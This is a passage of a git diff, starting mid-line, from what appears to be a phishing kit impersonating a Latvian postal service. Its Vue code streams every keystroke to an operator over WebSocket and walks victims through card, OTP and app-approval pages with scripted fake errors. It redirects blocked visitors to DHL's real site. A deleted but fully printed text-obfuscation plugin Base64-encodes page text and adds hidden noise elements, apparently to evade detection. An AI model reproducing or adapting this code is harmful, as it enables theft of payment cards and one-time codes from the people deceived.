console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.dhl.com/ch-de/home.html"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwX/header.html"); - footerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwX/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone1"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/a3_lv_pasts_post/src/components/HelloWorld.vue b/a3_lv_pasts_post/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/a3_lv_pasts_post/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/a3_lv_pasts_post/src/components/TheWelcome.vue b/a3_lv_pasts_post/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/a3_lv_pasts_post/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/a3_lv_pasts_post/src/components/WelcomeItem.vue b/a3_lv_pasts_post/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/a3_lv_pasts_post/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/a3_lv_pasts_post/src/main.ts b/a3_lv_pasts_post/src/main.ts index 26e954a..458c554 100644 --- a/a3_lv_pasts_post/src/main.ts +++ b/a3_lv_pasts_post/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -30,6 +29,5 @@ router.beforeEach((to, from, next) => { VueScrollTo.scrollTo("#app", 0); next(); }); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/a3_lv_pasts_post/src/mix/textObfuscator.ts b/a3_lv_pasts_post/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/a3_lv_pasts_post/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/a3_lv_pasts_post/src/utils/common.ts.backup b/a3_lv_pasts_post/src/utils/common.ts.backup deleted file mode 100644 index 6aa82c2..0000000 --- a/a3_lv_pasts_post/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.dhl.com/ch-de/home.html"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/mcdkjj/header.html"); - footerHtml.value = await loadHtml("/mcdkjj/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone1"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_Ticket_temp1/src/components/HelloWorld.vue b/t_Ticket_temp1/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_Ticket_temp1/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_Ticket_temp1/src/components/TheWelcome.vue b/t_Ticket_temp1/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_Ticket_temp1/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_Ticket_temp1/src/components/WelcomeItem.vue b/t_Ticket_temp1/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_Ticket_temp1/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_Ticket_temp1/src/main.ts b/t_Ticket_temp1/src/main.ts index f4f3682..9f2935b 100644 --- a/t_Ticket_temp1/src/main.ts +++ b/t_Ticket_temp1/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -25,6 +24,5 @@ app.use(i18n); app.use(createPinia()); app.use(router); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_Ticket_temp1/src/mix/textObfuscator.ts b/t_Ticket_temp1/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_Ticket_temp1/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 